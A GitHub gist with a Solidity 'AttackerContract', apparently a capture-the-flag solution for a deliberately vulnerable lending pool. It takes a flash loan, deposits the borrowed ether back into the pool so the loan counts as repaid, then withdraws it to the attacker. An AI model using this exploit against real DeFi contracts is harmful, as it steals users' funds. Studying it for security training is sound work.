Created
January 26, 2023 15:52
-
-
Save az0mb13/cc78a4e51eb0f7338d363b41b7002a96 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract AttackerContract { | |
SideEntranceLenderPool pool; | |
address payable attacker; | |
constructor(address _pool) { | |
pool = SideEntranceLenderPool(_pool); | |
attacker = payable(msg.sender); | |
} | |
function exploit(uint256 amount) public { | |
pool.flashLoan(amount); | |
pool.withdraw(); | |
attacker.transfer(amount); | |
} | |
function execute() external payable { | |
pool.deposit{value: msg.value}(); | |
} | |
receive() external payable {} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment